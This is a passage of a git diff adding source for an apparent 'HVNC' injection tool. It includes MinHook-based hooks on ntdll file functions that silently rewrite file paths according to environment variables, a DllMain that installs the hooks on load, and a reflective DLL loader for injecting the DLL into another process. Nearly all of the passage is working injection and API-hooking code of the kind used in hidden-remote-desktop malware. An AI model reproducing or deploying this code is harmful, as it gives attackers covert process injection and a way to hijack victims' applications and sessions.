MATCH"); + } + return FALSE; + } + + // Helper function to replace search string with the replacement string + WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) { + if (!originalPath || originalLength == 0 || !newLength) return NULL; + + SIZE_T searchLen = wcslen(g_SearchString); + SIZE_T replaceLen = wcslen(g_ReplacementString); + + if (searchLen == 0 || originalLength < searchLen) return NULL; + + // Normalize the path + SIZE_T normalizedLength = originalLength; + const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength); + SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix + + if (normalizedLength < searchLen) return NULL; + + // Count occurrences (case-insensitive) in normalized portion + SIZE_T occurrences = 0; + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + occurrences++; + i += searchLen - 1; // Skip past this occurrence + } + } + + if (occurrences == 0) return NULL; + + // Calculate new length (prefix + modified path) + SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen)); + WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR)); + if (!newPath) return NULL; + + // Copy prefix (\??\ or other) if present + SIZE_T destIdx = 0; + for (SIZE_T i = 0; i < prefixLength; i++) { + newPath[destIdx++] = originalPath[i]; + } + + // Perform replacement in normalized portion (case-insensitive) + SIZE_T srcIdx = 0; + + while (srcIdx < normalizedLength) { + if (srcIdx <= normalizedLength - searchLen && + wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) { + // Copy replacement string + for (SIZE_T j = 0; j < replaceLen; j++) { + newPath[destIdx++] = g_ReplacementString[j]; + } + srcIdx += searchLen; + } + else { + newPath[destIdx++] = normalizedPath[srcIdx++]; + } + } + + *newLength = destIdx; + return newPath; + } + + // Hook implementations + NTSTATUS NTAPI HookedNtCreateFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + // Only attempt redirection if hooks are properly initialized and we have the original function + if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtCreateFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtCreateFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtCreateFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, + AllocationSize, FileAttributes, ShareAccess, CreateDisposition, + CreateOptions, EaBuffer, EaLength); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtOpenFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtOpenFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtOpenFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtOpenFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtSetInformationFile( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) { + typedef struct { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; + } FILE_RENAME_INFO; + + if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) { + FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation; + if (renameInfo->FileNameLength > 0) { + SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR); + + if (NeedsRedirection(renameInfo->FileName, pathLength)) { + SIZE_T newLength = 0; + WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength); + + if (newPath) { + ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR)); + FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + + if (newRenameInfo) { + newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists; + newRenameInfo->RootDirectory = renameInfo->RootDirectory; + newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); + memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength); + + NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass); + + HeapFree(GetProcessHeap(), 0, newRenameInfo); + HeapFree(GetProcessHeap(), 0, newPath); + return result; + } + HeapFree(GetProcessHeap(), 0, newPath); + } + } + } + } + + return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass); + } + + NTSTATUS NTAPI HookedNtQueryAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryFullAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFile( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ) { + return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + ReturnSingleEntry, FileName, RestartScan); + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFileEx( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ) { + return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + QueryFlags, FileName); + } + + // Install all hooks + void InstallNtApiHooks(LPVOID lpParameter) { + // Use a global try-catch to prevent any crashes + __try { +#if ENABLE_DEBUG_LOGGING + // Enable logging for debugging + WCHAR logPath[512]; + __try { + ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512); + g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + g_LogFile = INVALID_HANDLE_VALUE; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== DLL Injection Started ==="); + } +#else + g_LogFile = INVALID_HANDLE_VALUE; +#endif + + // Initialize to empty strings to prevent crashes + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + + // Try to get configuration from environment variables + __try { + WCHAR envSearchString[512] = { 0 }; + WCHAR envReplaceString[512] = { 0 }; + + DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512); + DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512); + + if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) { + wcsncpy_s(g_SearchString, 512, envSearchString, searchLen); + g_SearchString[searchLen] = L'\0'; + wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen); + g_ReplacementString[replaceLen] = L'\0'; + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"========================================"); + LogDebug(L"[ENV] Search string from env: "); + LogDebug(g_SearchString); + LogDebug(L"[ENV] Replacement string from env: "); + LogDebug(g_ReplacementString); + + char lenMsg[256]; + sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString)); + LogDebugA(lenMsg); + LogDebug(L"========================================"); + } + } + else { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Environment variables not found, hooks disabled"); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Exception reading environment variables"); + } + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + } + + // Initialize MinHook (this must succeed) + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Initializing MinHook..."); + } + + if (MH_Initialize() != MH_OK) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: MinHook initialization failed!"); + } + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("MinHook initialized successfully"); + } + + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: Failed to get ntdll.dll handle!"); + } + MH_Uninitialize(); + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Got ntdll.dll handle"); + } + + // Hook all the NT APIs + FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile"); + if (pNtCreateFile) { + MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile); + MH_EnableHook(pNtCreateFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile"); + } + + FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile"); + if (pNtOpenFile) { + MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile); + MH_EnableHook(pNtOpenFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile"); + } + + FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile"); + if (pNtDeleteFile) { + MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile); + MH_EnableHook(pNtDeleteFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile"); + } + + FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile"); + if (pNtSetInformationFile) { + MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile); + MH_EnableHook(pNtSetInformationFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile"); + } + + FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile"); + if (pNtQueryAttributesFile) { + MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile); + MH_EnableHook(pNtQueryAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile"); + } + + FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile"); + if (pNtQueryFullAttributesFile) { + MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile); + MH_EnableHook(pNtQueryFullAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile"); + } + + FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile"); + if (pNtQueryDirectoryFile) { + MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile); + MH_EnableHook(pNtQueryDirectoryFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile"); + } + + FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx"); + if (pNtQueryDirectoryFileEx) { + MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx); + MH_EnableHook(pNtQueryDirectoryFileEx); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx"); + } + + g_HooksInitialized = TRUE; + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== All hooks installed successfully ==="); + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + char excMsg[256]; + sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode()); + LogDebugA(excMsg); + } + } + } + + void RemoveNtApiHooks() { + __try { + LogDebugA("=== Removing hooks ==="); + g_HooksInitialized = FALSE; + MH_DisableHook(MH_ALL_HOOKS); + MH_Uninitialize(); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + CloseHandle(g_LogFile); + g_LogFile = INVALID_HANDLE_VALUE; + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + // Fail silently on cleanup + } + } + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.h b/HVNCInjection/src/NtApiHooks.h new file mode 100644 index 0000000..4c6c59a --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.h @@ -0,0 +1,23 @@ +//===============================================================================================// +// NT API Hooking Header +//===============================================================================================// +#ifndef _NTAPIHOOKS_H +#define _NTAPIHOOKS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize all NT API hooks + void InstallNtApiHooks(LPVOID lpParameter); + + // Remove all NT API hooks + void RemoveNtApiHooks(); + +#ifdef __cplusplus +} +#endif + +#endif // _NTAPIHOOKS_H diff --git a/HVNCInjection/src/NtApiHooksConfig.h b/HVNCInjection/src/NtApiHooksConfig.h new file mode 100644 index 0000000..589afcd --- /dev/null +++ b/HVNCInjection/src/NtApiHooksConfig.h @@ -0,0 +1,12 @@ +//===============================================================================================// +// NT API Hook Configuration +// Edit this file and rebuild to change settings +//===============================================================================================// +#ifndef _NTAPIHOOKS_CONFIG_H +#define _NTAPIHOOKS_CONFIG_H + +// Set to 1 to enable detailed logging, 0 to disable +// Log file will be created at %TEMP%\rdi_hooks.log +#define ENABLE_DEBUG_LOGGING 0 + +#endif // _NTAPIHOOKS_CONFIG_H diff --git a/HVNCInjection/src/ReflectiveDLLInjection.h b/HVNCInjection/src/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/HVNCInjection/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/ReflectiveDll.c b/HVNCInjection/src/ReflectiveDll.c new file mode 100644 index 0000000..c8cc4b3 --- /dev/null +++ b/HVNCInjection/src/ReflectiveDll.c @@ -0,0 +1,43 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" +#include "NtApiHooks.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +// Store the parameter passed to ReflectiveLoader +extern LPVOID g_lpReflectiveParameter; + +//===============================================================================================// +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + DisableThreadLibraryCalls(hinstDLL); + + // Install NT API hooks with the parameter passed from the injector + InstallNtApiHooks(g_lpReflectiveParameter); + break; + case DLL_PROCESS_DETACH: + // Remove hooks on detach + RemoveNtApiHooks(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/HVNCInjection/src/ReflectiveLoader.c b/HVNCInjection/src/ReflectiveLoader.c new file mode 100644 index 0000000..fe29f09 --- /dev/null +++ b/HVNCInjection/src/ReflectiveLoader.c @@ -0,0 +1,500 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = 